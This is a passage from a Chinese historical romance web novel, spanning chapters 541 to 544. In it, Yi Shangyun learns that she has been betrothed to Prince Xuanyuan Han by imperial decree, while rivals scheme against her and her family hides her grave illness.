粉色的纱帘随着风从窗外带进来一些花瓣,落在上面。 轩辕翰方才眨了眨眼,默默地起身过去在古琴边落座下,手指轻轻拂过琴弦,琴声幽幽,疏解着自己心中的苦闷。 香炉里升起着阵阵袅袅的香烟,卷裹着纱帘,弥漫了整间香闺。 不知过了多久,当天边的一轮红日恋恋不舍地终于落下帷幕,渐渐地,连屋内仅有的一丝光亮亦被黑暗无情地吞噬。 湖蓝色的帐幔顶边垂着一袭一袭的流苏,随风轻摇。 不知何时,似已有他人穿过,脚步声却极轻,谈话声也极轻,悄悄地给屋内掌起了明亮的烛火。 淡淡的檀木香气充斥在俩人身旁,看着衣上云此刻安静的脸。 沉默了已经一整天的轩辕翰,终于开口自言自语地道:“本王自知并非你心中今生的良人,也不该心存冒犯。无奈每每见你皆都情不自禁,沉溺其中,竟还妄想生生世世都常伴你左右……终究是本王……太贪心了。” 顿了顿,眼里有泪水轻轻划过,心中悔恨不已:“一定是本王太贪心了,才会让你一次次拼了命地想要逃离。” 心里极不忍心,可又不得不承认:“是不是……是不是本王不贪心了,你便会余生安好,皆是喜乐,此生再无忧愁了呢?” 思来想去,终是舍不得:“可本王又如何能做到?” 就在他思索为难之际,看到衣上云的眼珠忽然转了几下。 见此,他顿时紧张,激动极了地呼唤着:“云儿,云儿……” 终于,衣上云缓缓睁开眼睛,醒了过来。 轩辕翰心里明明很难过,她若得知了事实真相,那该有多么地伤心欲绝。 可终还是隐忍住心里的悲痛,强挤出一抹淡淡的笑来对其说了声:“醒啦!” 衣上云亦对其微微一笑,待意识刚一恢复,兀自急忙伸手到自己的腹部摸了摸,着急地问:“殿下,我的孩子……孩子还好吗?” “孩子……”闻此,轩辕翰不禁顿时朝其眼睛怔愣住。 霎时又急急反应过来,说道:“嗯,孩子没事。乐太医已经来看过了,说你只是近来忧思过度,心里太紧张了。孩子……他很好,你放心!” “孩子没事……那我便放心了!” 至此,衣上云方才安心了下来,一遍遍温柔地轻抚着自己的腹部。 轩辕翰看着她此时脸上所洋溢着的幸福,心里却顿时更加难过了起来。 是夜。 夜深人静,秦王府,后门外一街角。 传出一阵阵女子伤心难过的哭泣声:“呜……呜……呜……” 那正是衣上云的婢女燕儿,满腹伤心无处诉说,只能在深夜里默默哭泣。 就在刚刚,燕儿站在门口看到衣上云醒后所发生的一切,早已泪流满面,她再也掩饰不住自己的伤心,掩起嘴来回头下楼,一路疾奔而逃。 又怕惊动了王府里其他人,便悄悄溜了出来,在王府后门外的一个无人的角落里想要释放自己抑郁的情绪。 燕儿蹲在地上,埋头抱着膝盖,一边哽咽着,自言自语:“怎么会这样?为什么偏偏是小姐?从小到大,小姐已经够可怜了。如今,她遇到秦王,好不容易有了盼头,可为什么……为什么……” 已然都无法继续说下去,只有伤心的眼泪止不住地流:“呜……呜……呜……” 就在这时,黑暗里忽然现出了一只手来,轻轻地搭在了燕儿的肩上。 “啊……”未及燕儿惊恐地叫出声来,便被来人一手紧紧地捂住了嘴,整个人也被从身后拎了起来。 “是我!”那人将用力挣扎着的燕儿顺势一把按到了墙壁上,朝其眼前近身过去道。 借着秦王府后门昏暗的烛火之光,燕儿睁大了眼睛仔细一看,这才看清来人的衣着打扮,竟然是白天帮她与陆天骄等人脱险的紫衣女子。 遂口中惊诧地道:“原来是你!” 紫衣女子这才松开了手,关切地问道:“你怎么了?为何深夜在此一人偷偷哭泣?” 燕儿只要一想到这一切,便又开始默默流起泪来:“恩人有所不为,我家小姐……” 紫衣女子将其打断,看了看周围显然都是秦王府邸,便试探问道:“这里是秦王府,那不知你家小姐,她是秦王府的……” 燕儿吸了吸鼻子,同时用手抹了抹脸上的泪痕,这才慢慢说道:“我家小姐她本是城西衣府嫡女,因为……因为一些事与家里发生了争执,现暂住在秦王府。不过很快,小姐便会成为秦王妃了。” “原来衣上云离开衣府后,一直在秦王府。”紫衣女子终于找到了衣上云所在。 “秦王妃……”可一听到这三个字,心中一惊,接着佯装高兴地道:“这是天大的喜事啊。有多少名门闺秀梦想着能得到尊贵的西秦秦王的青睐,你不替你家小姐高兴,为何反而深夜又在此哭泣呢?” 岂料燕儿又再次哭了起来:“呜……呜……呜……” “你家小姐到底发生了什么事?说出来心里会舒服些……”紫衣女子一边替其擦拭眼泪,一边劝道。 燕儿哽咽着道:“原本燕儿心里也替小姐一千一万个高兴,一路走来,经历了这么多,眼看着小姐与秦王殿下终于要有情人终成眷属了。可是……可是……” “可是什么?”紫衣女子追问道。 “可是小姐她……她……小姐她生病了……”话音刚落,燕儿再次哭了起来:“呜……呜……呜……” “衣上云病了?”紫衣女子一听,心里顿觉咯噔一下。 紧忙再问:“怎么会这样?你家小姐生了什么病?很严重吗?” 燕儿年纪终究还小,自己也还弄的不是很清楚,只说:“乐太医说,小姐腹中的孩子不能要了,或许还会有生命危险。” “你说什么?”紫衣女子听了,瞬间惊呆了。 心里默默地道:“怎么会这样?” 回过神来,紫衣女子安慰鼓励燕儿道:“好了,不要哭了,有秦王殿下在,你家小姐或许会有奇迹呢?” “奇迹……”燕儿思索着,真希望这个世上会有奇迹出现。 紫衣女子见天色已晚,便催促道:“夜深了,你快回去吧,你家小姐需要你的照顾。” 于是,燕儿便缓缓迈步回去,走着走着,忽然觉得有些不对劲:“对了,她怎么会知道我在秦王府呢?” 一回头,却见紫衣女子不知何时,早已消失在眼前的这片茫茫夜色之中…… 第五百四十一章:隔墙有耳 “衣上云竟然病了……” “病的如此之重……” “不但连腹中胎儿都保不住了,还会累及性命……” “怎么会这样子?” 紫衣女子纳闷地一边往回走,一边心里五味杂陈地喃喃细语着。 “她真的要成为秦王妃了!”一念及此,紫衣女子甚觉不可思议。 无论衣上云是以西秦药师之女的平凡身份,亦或东宁国永宁公主的尊贵身份,无论哪一种,就目前的局势而言,显然都是令人惊讶不已的。 想着想着,她的嘴角渐渐微微上扬,勾出了一抹浅笑。 不禁暗暗窃喜道:“如果将衣上云即将成为秦王妃的消息告知三少,或许,三少从此便就会对这个女人彻底死心,放弃了吧?!” 可话刚说完,却又忽地卸去那一丝笑意,犹豫了起来:“可若即便事已至此,他仍然还是不愿放弃,那又该怎么办呢?” 想起这许多年以来的相依相伴,对于彼此的了解,她不禁更害怕了起来:“依照三少的个性,他怕是不会这么容易放弃的。到时候指不定还会做出何等意想不到的事情来……” “我究竟该怎么办?”紫衣女子为难地道。 走着走着,不知不觉间,竟发现自己已经来到了一片灯红酒绿的街市上。 这才觉得有些饿了,打从晌午至今,她都还没有吃任何东西呢。 于是,她站在街头,朝四周望了望,看到不远处有一座小酒楼尚未打烊,便提步走了进去。 因为已经是深夜了,酒楼里的客人零零散散并不多。 进门后,在店小二的指引下,紫衣女子随其上到了二楼。 在进入位于二楼尽头的一座雅间时,半途中从正半掩着的一道门缝里,紫衣女子看到了两个熟悉的脸孔。 那正是白天先自己一步跟踪燕儿的拓跋泽和陆天骄二人,遂在心里默默地道:“是他们!” 灵机一动,随即压低了些许声音叫住了前面的店小二:“等一等。” 店小二立刻停下了脚步回过头去,问:“客官有什么吩咐吗?” 紫衣女子用手指着二人隔壁的房间问:“请问这间里面有没有人?” 店小二顺着其用手所指去的方向看了一眼,回答说:“哦,这间并没有客人,但是尽头的那一间可以看到皇城东市更多的夜景。” 紫衣女子笑了笑,道:“既然这间没有客人,那我就用这一间好了。” 店小二有一些不理解,但还是进去为她张罗了起来:“如果客官喜欢的话,那就用这一间吧。” “客官点的菜都已经上齐了,您请慢用。” 很快,店小二便张罗好了一切,准备退下去。 “请不要让任何人进来打搅,谢谢。” 紫衣女子对其笑了笑,叮嘱了一句。 “好的”见其答应着离开,紫衣女子便起身过去将门关了起来。 紧接着,她挪步过去小心翼翼地靠近中间的隔墙,将耳朵缓缓贴了上去。 顿时,只闻从隔壁里响起“啪”的一声…… 亲眼看着燕儿光明正大,毫无阻拦地走进了秦王府,陆天骄将重重的一巴掌拍在面前的案几上。 “那个贱人,还真是只打不死的小强,到哪儿都阴魂不散,如今果然在秦王府里。竟然还不顾廉耻地……” 一想到衣上云从一个废柴丑女,不仅摇身一变成了身份尊贵的公主,如今竟然还未婚先孕,怀了轩辕翰的孩子,便咬牙切齿,气不打一处来。 拓跋泽则坐在一边,气定神闲地自斟自饮着灌下两口酒。 见此,陆天骄不屑地怒瞪了他一眼,问:“接下来,你准备怎么办?” “怎么办?”拓跋泽看着她此刻愤怒的眼神中所燃烧着的熊熊烈火,重复了一句。 紧接着笑了笑,说:“有道是母凭子贵……接下来,她顺理成章当然会成为所有女子做梦都想要成为的秦王妃了。” 话一说完,兀自又灌下一口酒。 陆天骄大吼一声:“绝对不可以。” “不可以?那陆大小姐……你又有什么办法阻止呢?”拓跋泽挑衅问道。 “我……”陆天骄想了想,自己确实没有任何办法制止这件事情的发生。 如今,自己就连进秦王府大门的勇气都没有。 如果自己所做的这一切,被西秦学院的父亲和兄长知道了的话,她还不知道自己会受到什么样的惩罚? 拓跋泽看着陆天骄一脸无助的表情,忽然神秘地道:“原来陆大小姐竟如此痴情于秦王,那在下不妨便再告诉你一个秘密。” 闻此,陆天骄抬起头来看着他的脸,道:“秘密……什么秘密?” 拓跋泽露出一脸狡黠的笑,继续灌了一杯酒,道:“这个秘密就是……那丫头腹中的孩子……其实并不是秦王轩辕翰的。” “你说什么?”陆天骄果然惊呆了,顿立起身来。 拓跋泽又问:“陆小姐想不想知道那个孩子是谁的?” 陆天骄简直不敢相信自己的耳朵,心里想着:“那个贱人怎么如此不知廉耻,竟然和别人……” 可仔细一想,又觉得哪里不对劲:“不对,这么大的事,翰哥哥不可能不知道的。这到底是怎么回事?他是那么尊贵的一个人,怎么能容忍自己所爱的女人怀了别人的孩子,还执意要她,这到底是怎么回事?” 待一回过神来后,又问:“孩子是谁的?” “是南安国太子的孩子。”拓跋泽答道。 陆天骄顿惊看向拓跋泽的脸:“南安国太子?那个贱人,她怎么会认识南安国太子?” 拓跋泽冷冷地笑了一声。 “这不可能,这绝对不可能……”陆天骄看着拓跋泽一副很确定的样子,连连摇头,无法接受。 这时,拓跋泽又开了口说:“你如果不信,可以当面问那个丫头。” 衣上云在秦王府被人保护的极好,外面的人根本不可能接近她。 此时,陆天骄隐隐觉得拓跋泽像是已有了什么新的进展,于是不解地问:“当面问她?” 拓跋泽把玩着手中的酒盏,道:“后日,那个丫头便会回到城西衣府去。秦王府进不去,到了城西衣府,相信赫赫有名的西秦学院陆大小姐总能想办法见到她吧。” “贱人,不要脸怀了别人的孩子,还想嫁给翰哥哥。有我在,你这辈子都休想。这次你死定了。”听了拓跋泽的话,陆天骄心里狠狠道。 似是在心里已盘算好了一切,陆天骄此刻显得放松多了。 紧接着笑了笑,赞叹道:“北烈大皇子果然足智多谋,如今再加上与永乐公主联手,相信大皇子的复国大计,一定会成功。” 夜深人静。 这一切,都被隔壁的紫衣女子听的清清楚楚:“北烈大皇子……东宁国永乐公主……西秦学院陆大小姐……复国大计……” 将这一切信息拼凑在一起,紫衣女子瞬间惊呆了。 “西北一战,北烈大皇子竟然没有战死沙场,如今还与东宁国永乐公主联起手来想要复国。” “西秦学院向来与秦王府关系密切,却不知堂堂院长大小姐竟然私底下悄悄与敌国通奸……” 想到这一切,紫衣女子心里顿时甚觉不安:“不行,如此重要的消息,必须马上通知三少。” 一念至此,正欲回去拿帏帽和佩剑打算悄悄离开,不想一不小心,竟然碰到了身后案上所放着的一只花瓶。 霎那间,发出“咣当”的一声响来。 闻声,陆天骄与拓跋泽俩人顿时纷纷惊立起身来面面相觑。 “不好” “隔墙有耳” 说着,遂以迅雷不及掩耳之势一起冲进了隔壁房间。 破门而入后,却见屋内早已人去楼空,只剩下一个黑色的帏幔落在案上,几片花瓶碎片散落在地,两扇窗户亦被人打开,轻轻摇晃着。 拓跋泽倏地朝窗前疾奔过去,急急探出身朝楼下张望寻觅了许久,却是空空的巷子里,已见不到任何身影。 遂将重重的一巴掌狠狠地拍在了窗框上,嘴里怒斥道:“该死!” 这时,闻声从楼下赶上来的店主和店小二一见到眼前的一地凌乱,对于自己的损失心里着实心疼。 可再看看拓跋泽和陆天骄此刻凶狠的脸,于是只能隐忍着,怯怯地先询问:“不知发生了什么事?” 陆天骄压住心头的怒火,问:“这间的客人是什么时候来的?长什么样子?” 店主和店小二尚还惊魂未定,正在琢磨所发生的事。 霎时间,只见拓跋泽将一把明晃晃的长剑指向了店主的鼻子。 “大爷饶命,大爷饶命。” 见此,店主与店小二顿时被吓得扑通一声重重地跪在了地上,朝其连连叩首求饶。 然拓跋泽的愤怒丝毫不减,对其威声喝道:“还不快说!这间的客人是何时上来的?长什么样子?方才不是告诉过你不准任何人上来打扰吗?” 店主瑟瑟发抖着,说:“可那个客人,她说她也不想被任何人打扰,所以……所以……” 紫衣女子进店后,坚持要个清净的雅间,店主哪里知道会发生这样的事情,只回忆着道:“咱们并没有看清她的模样,只知道是一女子,身着紫衣,身上有佩剑。” 话说至此,陆天骄忽然想到了一个人,说:“难道是她?” “谁?”拓跋泽问。 “今天早上茶楼遇到的那个女子。”陆天骄提示道。 “她”拓跋泽思索片刻,最后默默地收起了剑,遂朝其大喝一声:“还不快滚!” 店主与店小二纷纷起身,速速逃离而去。 第五百四十二章:放虎归山?养虎为患? 离开酒楼后,陆天骄好奇地问拓跋泽:“对了,你说的那个易三少究竟是什么人?” 拓跋泽边走边似是若有所思着道:“易三少……他是西秦百草谷谷主,百草堂正主,灵空最大的药草商人……” 对于天下无人不知无人不晓的百草谷和百草堂,陆天骄自是有所耳闻。 此人神秘至极,世间甚少听闻有人见过其本尊,遂在心里惊了一下,顿住脚步。 然依旧尚未明白其意思,遂复又紧了两步追了上去,纳闷地问:“那他和那个贱人又是什么关系?” 拓跋泽稍一回忆与易三少的过往交集,补了一句道:“他也迷恋着那个丫头。” 说这句话的时候,拓跋泽明显自己心里也是有些酸酸的感觉。 “你说什么?那般神秘的一个人竟然会迷恋上……” 陆天骄再次倍感震惊的停下了脚步,这才终于明白了过来,可同时心中对于衣上云的妒恨之念亦随之又深了几分。 待一回过神来,在嘴里碎碎骂道:“贱人就是贱人,总喜欢到处招蜂引蝶,真是不知羞耻为何?他根本就配不上翰哥哥。” 拓跋泽听了,亦停下脚步。 回头看着她此刻一脸气急败坏的模样,嘴角忽然扬起一抹轻视极了的笑容来,道:“全天下是不是只有陆大小姐才配得上秦王轩辕翰呢?既然如此,那你还在等什么?” “我……”陆天骄惊诧地看向拓跋泽的脸。 随即大步向前近身朝其走了过去,看着她的眼睛信誓旦旦地道:“你给我听着,总有一天,翰哥哥一定会是我的!” 怎料拓跋泽却对面前这张看起来严肃极了的脸怔了一会儿后,忽然冷笑了一声:“哼……” 接着,又迈步继续往前走去。 “你这个哼是什么意思?你给本小姐说清楚。” “喂,听见了没有?” “你给我站住!” 陆天骄气冲冲地追了上去。 两个身影渐渐消失在这片浓浓的夜色之中。 是夜。 西秦国,南郊一处客栈。 易三少辗转反侧难以入眠,心心念念全都是衣上云的影子。 索性便起床来,走出房间,举头看到今夜的月色甚美,于是便双脚一点地,轻松地越上了屋顶。 在上面躺了下去,翘起一只腿,枕着自己的双臂,遥望起头顶的星星点点来。 微风拂过他犹如被天工雕刻过精致的脸庞,霎时一双迷人的桃花眼眨了眨。 忽然,他惊奇地发现,眼前的每一颗星辰,都似是衣上云某个瞬间的某种模样一般。 “山河远阔,人间星河,无一是你,无一不是你。”易三少默默地碎碎念道。 “丫头,你到底在哪儿?” “是不是也和我一样睡不着?” “丫头,你知不知道我有多喜欢你?” “可如果你喜欢的人是他,我也甘愿只做那个守护你一辈子的人。” “无论你在哪里,一定要照顾好自己。” “你听到了吗?” 仿佛是中了某种无药可救的毒一般,易三少对着眼前的浩瀚星空,一遍又一遍地喃喃细语着。 西秦皇宫。 璟帝独自端坐在寝殿的案前,亦同样夜不能寐。 面前案上放着皇后亲自呈上来的太后的赐婚懿旨。 可璟帝果然对任何事都疑心重重,至今都迟迟尚未点头。 见派去调查的侍卫刚一回宫前来禀报,便着急地问:“可有仔细查过衣府的背景了?” 侍卫恭敬地行礼后,答道:“回皇上,经查,城西衣府的关系的确颇为简单,并无什么可疑之处。那衣上坤在入宫前久居山林,夫妻俩相依为命,以采药为生,这个衣上云便是嫡妻所出。因常年膝下无子,到了皇城后,才娶了二房年氏,后育有一子一女,其家世亦是平平,除了西北一战其子衣上俊有所立功外,并无什么特别。” 璟帝听了后想了想,再次朝其确认:“真的没有查到其他异常吗?” 侍卫摇了摇头。 “纯太妃老谋深算,不可能会给秦王找这般平庸,简直就同平民一样身份的女子,这其中,究竟有何缘故?” 璟帝纳闷极了,总觉得这件事情有蹊跷之处。 这时,侍卫看到了案上铺开来的赐婚懿旨,便问:“皇上是不是要准了这道赐婚?” 璟帝顿看向那道懿旨,反反复复在心里琢磨了许多:“其实这是最好不过了的结果。若是朕赐了这般不堪的婚事给秦王,文武百官便会觉得朕对于战功赫赫的秦王苛刻。可若是秦王府自己提出来的,那就自然不一样了。” 显然,璟帝似是已在心里做好了决定。 正准备下令,忽然,一阵急促的脚步声在殿内响起。 伴随着脚步声越来越近,一内侍走了进来。 将一封密函双手高高举起,呈到了璟帝的面前:“皇上,这是刚刚收到的东宁国的消息。” 璟帝接过,快速地将信纸展了开来,目光犀利地扫在上面的字里行间。 “永宁公主……原来她真正的身份是东宁国的嫡公主,封号……永宁……永葆长宁……” 霎时间,璟帝瞪大了眼睛,似是都快要被这个消息惊呆了。 “东宁国……” “永宁公主……” 而那侍卫与内侍二人亦顿时面面相觑着,都有一种极不好的预感涌上心头。 “皇上您是说……”终是那内侍怯怯地开了口问。 偌大的宫殿里,忽然响起“咔嚓嚓”的一阵巨响,璟帝将案上的茶盏大力地摔在了面前的空地上。 随即,又将极响亮的一巴掌拍在了面前的案上,大声喝斥:“还不快老实说……你究竟是不是秦王的党羽?是不是秦王让你传假消息给朕来误导朕的?” 紧接着,遂将手里的密函亦怒不可遏地丢向了侍卫的面前。 那侍卫战战兢兢地弯腰下去将其拾了起来,目光急急一扫。 瞬间不敢相信地瑟瑟发抖着道:“这不可能……衣府嫡女怎么会是遗失在我西秦的东宁国嫡公主呢?这不可能,这绝对搞错了,一定是哪里搞错了,事实一定不是这样,不可能的……” 可话未说完,直觉两腿发软,实在已无力支撑自己的身体。 于是,便扑通一声重重地倒地跪了下去,连连叩首求饶:“皇上饶命,皇上饶命啊!” 然璟帝丝毫没有给他任何机会,随即便扬声下令道:“没用的东西,来人,将他给朕拖出去斩了!” 很快,便进来了两名侍卫,将其提起来驾了出去。 “皇上饶命,皇上饶命……”那人声嘶力竭,凄惨的求救声久久回旋在殿内。 内侍早已被吓得立在一旁缩成一团,甚至连呼吸都不敢,更亦不能自行退下去。 片刻之后,璟帝方才压住了些许心头的怒火,再次开了口,问:“你说,朕现在应该怎么办?” “怎么办……”发生了这么大的事,内侍哪里知道该如何回话,还未开口便重重地跪了下去,将头深深埋了起来:“皇上息怒,请恕奴才愚笨。” 璟帝思索良久:“若是朕拒了这桩赐婚,无疑便就等于放虎归山。若是让她再回到了东宁,据密函消息,她势必将会成为东宁国第一任女国君,怕是后患无穷。” “可若朕今日允了这桩赐婚,那至少就等于朕将这二人一起同时控制了起来。” “如此一来,她便一辈子只能是衣府嫡女的身份,除非她想落个欺君杀头的罪名,到时候连同秦王府一起……” “与其放虎归山不受控制,还不如将其俱都控制在自己的眼皮子底下。” “来日,相信定大有用处。只待一旦寻回守护者,到时且看天下还有谁敢与朕抗横?” 已然在心里做好了决定,璟帝顿时变得气定神闲起来,当即开口下令给内侍:“就按照太后的意思下去宣旨吧!” 内侍虽不明所以,却也只能伏首领命:“是” 于是,便起身拿了案上的赐婚懿旨,速速退出了殿去。 璟帝的心情,也因此而忽然变得特别地好。 终于。 在短暂的相聚后,还是到了离别的这一刻。 又是一个风和日丽的午后。 衣上云手上的伤原本就并不严重,这几日下来,已完全愈合。 燕儿收拾好行李,正欲搀扶着衣上云准备离开云水阁。 忽然,轩辕翰离奇出现,并只身挡在了门口。 衣上云怔了一下,忙朝其行礼:“秦王殿下” 轩辕翰及时伸手过去将其扶住,并未使其蹲身下去。 又看了看衣上云的脸,脸色的确也好了许多,可对其心里的担忧却是丝毫未减。 一念至此,他吩咐燕儿:“对了,乐太医给你家小姐配了一些……安胎药,你去将它一起取回带回衣府去。” “是”燕儿答应着离开。 这时,轩辕翰陪其一道走出了门,边走边问:“都已经收拾好了?” “嗯,都已经收拾好了,多谢秦王殿下多日以来的照顾。”衣上云淡淡笑了笑,客气地朝其致谢道。 看到衣上云脸上似是并无多大的喜悦,轩辕翰问:“怎么,终于要回家了难道不高兴吗?” “回家?殿下很清楚,那并不是我的家!”衣上云闷闷不乐道。 自打上次雨夜离家后,衣上云显然至今都不知自己该如何再面对衣府。 轩辕翰想了想,忽然咋出一句道:“或者,你也可以继续住在秦王府,留在本王身边。” 第五百四十三章:怒 轩辕翰想了想,忽然咋出一句道:“或者,你也可以继续住在秦王府,留在本王身边。” 闻此,衣上云瞬间顿足停下,惊愣地与其四目相对视在一起。 但见其此刻似是认真极了的眼神,想要说的话也都变得吞吞吐吐了起来:“秦王殿下……我……” 见其一脸难色,轩辕翰不禁心里有些失落。 可终还是也没再打趣她,只意味深长地看着她的眼睛,对她说:“骗你的,你且安心回去衣府,本王自有安排。” 事到如今,衣上云感觉自己仿佛就是一叶浮萍一般,不知道什么时候丢失了自己赖以生存的根源,再也回不到以前简单的生活。 如今的一切,都在别人的操纵与安排之中。 对于所有接踵而来的事情,她都无力反抗,只能接受,她永远都不知道自己明天会发生什么? 经过这些日子以来的朝夕相处,却只有对轩辕翰的感情越来越清晰。 对于他这份极尽霸道又温柔的爱,她的确无法抗拒,她想要牢牢抓住,可却又怕自己的真情流露与贪心会伤害到他。 她的身份,无论是敌国公主,亦或西秦守护者,始终都是一颗定时炸弹,随时都会连累他,给他酿成大祸。 思及此,衣上云眉头紧锁,目光定定地盯视着轩辕翰的眼睛。 终将所有一切心事化为一句呢喃声道:“殿下,对不起……” 见她此刻如此惹人怜惜的模样,轩辕翰心疼地忽一把将其紧紧拥入到怀中,道:“不要说对不起,永远都不要说,本王要你用一生来赔本王。” 闻此,衣上云再也忍不住,在他宽阔又温暖的怀抱里缓缓闭起了眼睛,眼泪瞬间夺眶而出。 就在这时,燕儿已经从杏林阁里取好了要给衣上云带回的安胎药。 远远地,一看到衣上云的身影,正准备上前去打招呼:“小……” 一见眼前俩人紧紧相拥,难舍难分的样子,燕儿忍不住,不知自己是该高兴,还是该难过地眼里亦顿时充满了泪水。 继而,胡乱抹了一把眼泪,便悄悄地退了下去。 云卷云舒,时间飞快。 在衣上云回到衣府的第二日,便迎来了宫里特地前来传旨的公公。 衣府院内,众人皆俯首跪地听旨: “奉皇太后慈谕:衣府嫡长女衣上云,性情柔顺,秉性端淑,持躬淑慎,蕙质兰心,太后闻之甚悦,今赐婚予秦王,择吉日完婚,钦此!” 听闻了这道赐婚懿旨,恍若晴天响起了一道霹雳,衣上云趴在地上,整个人瞬间惊呆了。 衣上坤遂已事先从秦王府得到了些许风声,可当尘埃终于落定的这一刻,他依然还是深感震惊意外。 忽一瞥见身旁衣上云的不对劲,悄悄扯了扯她的衣袖,使其方才回过了神来。 衣上坤伸手接旨。 众人遂与其一道叩首,大声齐呼:“谢皇太后恩典!太后娘娘千岁,千岁,千千岁。” “恭喜了,衣药师,能与秦王府攀亲,衣药师前途不可估量啊!” 面对公公的话,衣上坤却是心里百感交集,只有一脸苦笑相陪。 那办差的公公与衣上坤寒暄了几句过后,便匆匆回了宫去。 明明是一件大喜事,可衣府却似没有一个人能真心的高兴起来。 院子里,所有人都注视着衣上云忧郁极了的脸。 “大姐……”衣上俊实在忍不住想要安慰,可却又不知如何开口? 最后只能重重地叹了口气:“唉……”随之离开。 就连素日里与其一说话便会起争执的衣上雪,亦情不自禁紧紧地握住了兰姨娘的胳膊,轻唤了一声:“娘……” 遂眉头紧锁着望着衣上云郁郁寡欢的侧脸,不知该说些什么。 兰姨娘轻轻地拍了拍衣上雪附到其胳膊上的手。 终是年氏过去拉住她的手先开了口,关切道:“云儿,你怎么了?没事吧?” 衣上云当然知道一院子的人正都一起看着她。 遂对其强挤出一抹笑来,道:“我没事,我只是有些累了,想进去休息一会儿,母亲不必担心。” 话未说完,便推开了年氏,目光呆滞,愣愣地朝明月阁回去。 见其明显一副失魂落魄的样子,年氏紧忙吩咐燕儿:“燕儿,快扶小姐回房去。” “是”燕儿答应着,急急跑过去跟了上去。 到了明月阁里,衣上云终于卸下所有防备,却是感觉自己整个人像是被掏空了一般,无力地瘫坐在案前,自言自语道:“怎么会这样?怎么会?” 忽然,她想起离别之日轩辕翰的那些话,顿时明白了过来:“原来你口中所说的自有安排……竟是这样的。” 霎时间,纯太妃的话也从脑海里浮现了出来:“如果本宫要你一生一世,再也不许踏出秦王府半步,你可愿意?” …… “不……或许还远远不止这些。” 仔细想想近日里身边的人和事,都让自己觉得有些异常。 燕儿对于她的许多问话,比如说,她是怎么知道自己在秦王府的,总是含含糊糊说不清楚。 衣上云这才反应过来。 一念至此,她将目光转而落向了一直在旁边擦拭着一个花瓶,似是故意有些躲闪着自己的燕儿身上,道:“燕儿,这件事,你是不是也早就已经知道了?” 燕儿知道自己已经无法再继续隐瞒下去了,于是道歉说:“小姐,对不起,燕儿不是存心要隐瞒小姐的……” 闻此,衣上云发出一阵苦笑,道:“一切的一切,原来是这样……原来这是你们又一次事先都安排好的,你们一个个为什么要瞒着我?为什么?” 终于,衣上云再也控制不住自己愤怒的情绪,一把大力地掀翻了面前案上的一套茶具。 房内顿时响起一阵清脆的瓷器落地的声音:“咔嚓嚓……” 见此,燕儿扑通一声跪在了地上,心里害怕极了。 哭着朝其认错求饶:“小姐……乐太医说你不能生气,千万不能生气……燕儿知错了,燕儿知错了……你千万不要生气呀……” “出去……你给我出去……” 衣上云只觉自己被一张巨大的网网住,丝毫不能动弹,甚至都快要不能呼吸。 一气之下,忽地起身来过去将燕儿一把拉起来,推了出去,又将房门从里面紧紧锁住。 “小姐,你开门,开门啊,燕儿知道错了,燕儿真的知道错了……求你开开门,开开门……” 任凭燕儿在外面如何用力拍打着想要进来解释一二,衣上云已然再也不想听她说话。 就在这时,腹部忽然再次袭来一阵令她极难忍受的痛感。 衣上云遂一手用力地按压在腹部,刚过去到榻边,便昏倒了过去。 听到房内忽然没了半点儿动静,燕儿连哭带跑着下楼去,嘴里疾声大呼:“老爷,夫人,不好了,小姐出事了……” 很快,衣上俊先听到了燕儿的疾呼声赶来,两下便将房门撞开。 一看到衣上云昏倒在榻边,一张脸恍如纸白,急忙过去将其抱起轻轻地放到榻上,呼唤其道:“大姐,大姐你怎么了?大姐醒醒啊……” 这时,衣上坤和年氏,以及兰姨娘亦闻声一道上了楼来。 此情此景,众人一见皆是受惊愣住。 衣上俊着急地道:“父亲,你快来看看,大姐她这是怎么了啊?” “云儿……”衣上坤见其已然昏厥,没了半点儿意识,忽地回神,说着便疾步上前了去。 经过一番颇为仔细的诊脉后,衣上坤惊诧万分。 见其起身,年氏一边抹泪,一边着急地询问:“老爷,云儿她到底怎么……” 衣上坤伸手将其拦住,先问燕儿:“小姐的病,她自己知道吗?” 燕儿哽咽着道:“秦王殿下……殿下不准任何人将小姐的病情告诉小姐。” 衣上坤稍想了想,他当然明白轩辕翰是想保护衣上云才对她故意隐瞒,又问:“那小姐腹中的胎儿……” “乐太医说小姐腹中的胎儿不能要了……” 燕儿话未说完,年氏抢先惊诧地叫道:“什么……不能要了?” 就连一旁的兰姨娘和衣上俊也顿时惊愣住。 燕儿重新将话说完:“乐太医说小姐腹中的胎儿不能要了,必须在四个月前落下。但是,秦王殿下还没想好,让再等等。” “没错”衣上坤说着,缓缓走到年氏面前,将一只手搭在其肩上,对其素声道:“云儿得的是一种症瘕……” “症瘕”年氏惊诧地道。 衣上坤继续说:“她这辈子,都不可能有自己的孩子了!” “什么?” 此话一出,众人皆大惊失色…… 燕儿在一旁哭的更加厉害起来。 衣上坤一脸黯然,默默地离开了明月阁。 出门的时候,忽然顿足停下,头也不回地嘱咐了众人一句。 “正如秦王殿下所说,此事切不可告诉云儿事实真相,这个孩子,已经够可怜了。” 夕阳西下。 直至晚饭的时候,衣上云依旧不肯下楼,独自呆呆地坐在房内,不吃不喝,也不说话,两眼直勾勾地发着呆。 “咚咚咚” 一阵叩门声响起。 第五百四十四章:试着再勇敢一点儿 “嘎吱”一声 门终于从里面被衣上云打了开来。 衣上坤终是对其极不放心,便特地上楼来查看。 见其果然一脸暗淡无神,又扫了一眼其身后案上放着的早已凉透了饭菜,没有丝毫被动过的痕迹。 于是开口说道:“云儿,跟父亲谈一谈,好不好?” 衣上云没有说话,只缓缓撒开了附在门板上的双手,继而转身默默地朝窗前回座了回去。 衣上坤在心里默默地叹了口气,亦踱步走了进去,关切地问:“身子可觉得好些了吗?” 衣上云只独自沉默着坐在窗边,并未开口回答他。 衣上坤将自己带来的新的饭菜替其一一摆好,继续劝说。 “早上见你就没吃多少,好歹吃一点吧,即便不为了自己,也要为……” 话说至此,忽联想到衣上云的病情,衣上坤不禁顿了一下,复又隐忍着心间的悲痛不得不继续说下去:“腹中的孩子着想呀。” 然无论他怎么说,衣上云依旧只目光呆滞地望着一片漆黑无底的窗外,根本似是就没有听他所言。 无奈,衣上坤只得提起袍角来坐下,拿出更多的耐心。 继续劝慰她:“太后赐婚的事,我们并不是有意要隐瞒你。皇上生性多疑,秦王殿下也是怕其中再生变故,慎重起见方才出此下策,他这也是为了你好呀。” “为了我好?……那如果皇上不允的话,你们又打算怎么做?” 虽然这突如其来的第一句话里听出来衣上云明显还在生气,可总算是一天下来,她终于愿意开口说话了。 “如果不允……”衣上坤默默重复道。 